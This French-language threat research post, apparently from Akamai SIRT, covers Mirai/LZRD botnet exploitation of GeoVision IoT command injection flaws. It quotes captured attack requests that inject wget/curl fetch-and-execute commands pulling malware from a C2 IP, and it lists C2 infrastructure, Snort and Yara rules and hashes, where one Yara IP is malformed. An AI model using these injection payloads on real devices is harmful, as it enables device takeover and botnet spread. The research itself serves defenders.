Mirai ouvre la voie à l'exploitation active des terminaux IoT
Synthèse
L'équipe Security Intelligence and Response (SIRT) d'Akamai a identifié une exploitation active des vulnérabilités d'injection de commandes CVE-2024-6047 et CVE-2024-11120 contre les terminaux IoT GeoVision obsolètes.
L'équipe SIRT a identifié pour la première fois une activité dans nos pots de miel en avril 2025. Il s'agit de la première exploitation active signalée de ces vulnérabilités depuis leur divulgation initiale en juin 2024 et novembre 2024, respectivement.
Le botnet qui exploite cette vulnérabilité a également tiré parti de plusieurs autres vulnérabilités connues, notamment la vulnérabilité DigiEver que nous avons signalée précédemment.
Nous avons inclus une liste d'indicateurs de compromission (IOC) dans cet article de blog pour aider à la défense contre cette menace.
Introduction
Les points de terminaison sont contraints d'accepter Mirai depuis 2016, et certains terminaux GeoVision qui ne sont plus en production figurent parmi les dernières cibles. Début avril 2025, l'équipe SIRT d'Akamai a découvert une activité ciblant l'URI /DateSetting.cgi dans notre réseau mondial de pots de miel.
Après une enquête plus approfondie, nous avons pu attribuer cette activité aux vulnérabilités d'injection de commandes (CVE-2024-6047 et CVE-2024-11120) qui ont été précédemment découvertes dans les terminaux GeoVision.
Bien qu'il s'agisse de vulnérabilités « connues », on ne disposait guère d'informations à leur sujet au-delà des numéros CVE attribués, du moins publiquement. L'attribution, ainsi que la portée de la menace, qui se limite aux terminaux IoT GeoVision qui ne sont plus en production, a finalement été validée directement par le fournisseur.
La vulnérabilité
L'exploitation cible le point de terminaison /DateSetting.cgi dans les terminaux IoT GeoVision et injecte des commandes dans le paramètre szSrvIpAddr. Certains terminaux GeoVision obsolètes ne filtraient pas correctement les entrées utilisateur pour ce paramètre, ce qui permet à des pirates distants non authentifiés d'injecter et d'exécuter des commandes système arbitraires sur un système cible.
Cette injection de commandes est établie par CVE-2024-6047 et CVE-2024-11120. Ces vulnérabilités ont été signalées pour la première fois en juin 2024 et en novembre 2024, respectivement, mais les détails techniques n'ont pas été divulgués, les informations étaient limitées, et aucun cas d'exploitation active n'a été rendu public.
Exploitation active
Les premières tentatives d'exploitation visant cet URI observées par l'équipe SIRT d'Akamai remontent à début avril 2025.
Une fois la charge utile décodée, nous avons constaté que le botnet injectait des commandes dans l'option szSrvIpAddr afin de télécharger et d'exécuter un fichier de logiciel malveillant Mirai conçu pour les systèmes ARM, nommé « boatnet », une dénomination courante dans la nomenclature Mirai (voir Figure 1).
/DateSetting.cgi dwTimeZone=2&dwGainType=0&szSrvIpAddr=time.windows.com;$(cd /tmp;wget http://176.65.144[.]253/hiddenbin/boatnet.arm7;chmod 777 boatnet.arm7;./boatnet.arm7 geovision;)&NTP_Update_time_hh=5&NTP_Update_time_mm=10&szDateM=2024/08/07&szTimeM=14:25:16&bDateFomat=0&bDateFormatMisc=0&dwIsDelay=1&Montype=0&submit=Apply
Fig. 1 : Commandes de téléchargement et d'exécution d'un fichier de logiciel malveillant Mirai conçu pour les systèmes ARM nommé « boatnet »
Cette exploitation télécharge et exécute une variante d'un logiciel malveillant basé sur Mirai, appelée LZRD. La méthode la plus couramment utilisée pour identifier cette variante consiste à s'attarder sur la chaîne unique qu'elle imprime sur la console de la machine cible lors de l'exécution du logiciel malveillant (Figure 2).
Cette situation a été renforcée par plusieurs fonctions d'attaque observées qui étaient cohérentes avec d'autres variantes de Mirai (Figure 3).
sym.attack_udp_plain
sym.attack_get_opt_ip
sym.attack_tcp_ack
sym.attack_method_nfo
sym.attack_method_raw
sym.attack_method_hexflood
sym.attack_method_tcp
sym.attack_method_udphex
sym.attack_method_udphex
sym.attack_udp_custom
sym.attack_tcp_stomp
sym.attack_method_tcpxmas
sym.attack_tcp_syn
sym.attack_get_opt_int
sym.attack_method_std
sym.attack_method_ovhdrop
sym.attack_get_opt_str
sym.attack_method_ovh
sym.attack_method_nudp
sym.attack_tcp_bypass
sym.attack_method_stdhex
Fig. 3 : Fonctions d'attaque du logiciel malveillant LZRD Mirai
Ce n'était pas tout. Tout au long de l'analyse, nous avons également découvert une adresse IP de commande et de contrôle codée en dur (C2) dans la fonction sym.resolve_cnc_addr() (Figure 4).
Lors de notre enquête sur l'infrastructure C2 du botnet, nous avons repéré un message de bannière sur certains ports des serveurs C2, probablement associés à une partie de la communication C2 du botnet. Nous avons pu identifier d'autres éléments de l'infrastructure du botnet à l'aide d'une requête Censys dérivée de cette bannière : services.banner="*[?1049h*0;Please enter your credentials*".
Le message de bannière présenté dans la Figure 5 est similaire à celui d'InfectedSlurs que nous avions signalé en 2023 (Infected Slurs/TBOTNET). Le chercheur en sécurité Fox_threatintel avait établi le lien avec ce botnet antérieur en janvier 2024, et les éléments résiduels de celui-ci semblent toujours actifs. Bien que les requêtes fournies par ce chercheur ne donnent désormais plus aucun résultat, les chaînes de bannière sont assez similaires, ce qui renforce l'hypothèse d'un lien.
Autres vulnérabilités exploitées
Nous avons également observé ce botnet tenter d'exploiter plusieurs autres failles dans nos pots de miel. Cela inclut une vulnérabilité Hadoop YARN, l' exploitation du routeur ZTE ZXV10 H108L, CVE-2018-10561 et la vulnérabilité DigiEver que nous avons signalée précédemment (Figure 6).
/cgi-bin/cgi_main.cgi
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&ntp1=time.stdtime.gov.tw&ntp2=`curl --output wget.sh http://176.65.144[.]253/digi.sh; chmod 777 *; ./wget.sh`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Fig. 6 : Vulnérabilité DigiEver exploitée
Conclusion
Les botnets basés sur Mirai restent un véritable casse-tête pour de nombreuses organisations, et la prolifération des terminaux IoT obsolètes contribue à la propagation de cette menace. À l'instar des chercheurs en sécurité, certains cybercriminels suivent de près les dernières divulgations de vulnérabilité concernant leurs activités illicites. Les nouvelles vulnérabilités d'exécution de code à distance ou d'injection de commandes affectant les terminaux IoT constituent une cible de choix pour ces acteurs malveillants, qui cherchent à les exploiter.
L'un des moyens les plus efficaces pour les cybercriminels de commencer à assembler un botnet est de cibler les micrologiciels mal sécurisés et obsolètes sur les anciens terminaux. De nombreux fabricants de matériel ne fournissent pas de correctifs pour les terminaux qui ne sont plus en production (dans certains cas, le fabricant lui-même peut être obsolète). Nous avons été informés que les modèles GeoVision affectés ne sont plus en production et ne recevront pas d'autres mises à jour.
Lorsque les correctifs de sécurité ne sont pas disponibles et qu'il est peu probable qu'ils le soient, nous vous recommandons de vous séparer de vos terminaux vulnérables et de passer à un modèle plus récent.
Suivez-nous
L'équipe SIRT d'Akamai continuera à surveiller ces menaces et à en rendre compte, tant pour nos clients que pour la communauté de la sécurité dans son ensemble. Pour rester au fait des publications de l'équipe SIRT et du groupe Security Intelligence d'Akamai, consultez notre page d'accueil de recherche et suivez-nous sur les réseaux sociaux.
IOCs
Nous avons inclus une liste d'indicateurs de compromission, ainsi que des règles Snort et Yara, pour aider les défenseurs.
Règles Snort pour les indicateurs de compromission du réseau
Règles Snort pour les IP C2
alert ip any any -> [209.141.44.28, 51.38.137.114, 176.65.144.253, 176.65.144.232, 198.23.212.246] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
Règles Snort pour la détection de résolution de domaine C2 (Botnet n° 2)
alert http any any -> any any (
msg:"Possible Botnet C2 or Malware Distribution - connect.antiwifi.dev";
content:"connect.antiwifi.dev"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
Règles Yara pour les échantillons de logiciels malveillants
rule Botnet_Indicators
{
meta:
description = "Detects botnet malware samples and network-based indicators"
date = "2025-04-22"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "209.141.44.28"
$ip2 = "51.38.137.114"
$ip3 = "176.65.144.2534"
$ip4 = "176.65.144.232"
$ip5 = "198.23.212.246"
$domain1 = "connect.antiwifi.dev"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714",
hash.sha256(0, filesize) == "11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114",
hash.sha256(0, filesize) == "8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e",
hash.sha256(0, filesize) == "ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516",
hash.sha256(0, filesize) == "03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3",
hash.sha256(0, filesize) == "0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d",
hash.sha256(0, filesize) == "7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a",
hash.sha256(0, filesize) == "50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5",
hash.sha256(0, filesize) == "bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda",
hash.sha256(0, filesize) == "074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3",
hash.sha256(0, filesize) == "5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a",
hash.sha256(0, filesize) == "de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88",
hash.sha256(0, filesize) == "aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8",
hash.sha256(0, filesize) == "3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6",
hash.sha256(0, filesize) == "3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e",
hash.sha256(0, filesize) == "5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a",
hash.sha256(0, filesize) == "2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5",
hash.sha256(0, filesize) == "dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c",
hash.sha256(0, filesize) == "866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a",
hash.sha256(0, filesize) == "64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530",
hash.sha256(0, filesize) == "9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582",
hash.sha256(0, filesize) == "bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f",
hash.sha256(0, filesize) == "58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
Adresses IPv4
209.141.44.28
51.38.137.114
176.65.144.253
176.65.144.232
198.23.212.246
Domaines pour C2
connect.antiwifi.dev
Hachages SHA256
f05247a2322e212513ee08b2e8513f4c764bde7b30831736dfc927097baf6714
11c0447f524d0fcb3be2cd0fbd23eb2cc2045f374b70c9c029708a9f2f4a4114
8df660bd1722a09c45fb213e591d1dab73f24d240c456865fe0e2dc85573d85e
ecc794a86dcc51b1f74d8b1eb9e7e0158381faadaf4cb4ee8febd4ba17fd2516
03b1506c474a6f62f2e2b73ba4995b14da70b27e6d0aaea92638197e94d937c3
0333c6ac43c6e977e9a1c5071194d3cf8aa01222194c6e7f2fd13e631d03522d
7a8a46ace3b9261c2c7a399dcae037ce4f185f52f94b893d5bc00cd1228fb13a
50c5b6c971c503240b91787d31f9314ded38d4f2700ff90deb032478b30aa0c5
bb2ab0879282c5c7f92a51e6482d3eb60a84ab184eca258ea550d9ed04bc5eda
074a261bf281da36cc91cd13f86c7a8f75fdf96807d525c24b22c48fe01584a3
5e721c013a6e8b2246aae86974f2163d3b57a7e6608a318ab84c44b1650e650a
de3c9ecb51564e4298ce7e4ff749be0a42d37824d2fd3d5b7fbab86a04105b88
aaba1ce1f182122a7ea05683623ab2d9bd05a3507e0dfc95e8e4165f629f80a8
3f465182b5c594784e406a6a5de2f398bcc2e2ffc92d049a7990f37c267550a6
3d6a544b1f03df23e734a65b9f1e808ff513ad881f09745a3959d696075c057e
5180e3050a4a5cff52dcd8e8bb39fb6cf59a264a8fb6ddcc239615b340f1b99a
2cc4d952856a8f2e1dd73b175d730d9cc7a04c73cf6452c8d0411eedf3aed5d5
dc21419b73566651b4c1e85879c0c98a4dcff8f7d206d9a97882200503658e9c
866b2dbbd1978be007460835e8f3d2e02c1b321f856a18ba3e53030d4effe69a
64ca8dd1a2702e0463bab19a0b826f79c55cfd46e4e1b41c6c33d7e7aa2c7530
9f05425478d03e4a2fd5b990fe5625d93c468b80a3880bb52475aa7561548582
bf6984ccc9fb21beba3f492420901be0b0bace8d4530e6d2850f039622f1b96f
58f7d61e3e474d5f5eccbba79556070220f52fa011b7cd24bdd96c23c338cd4b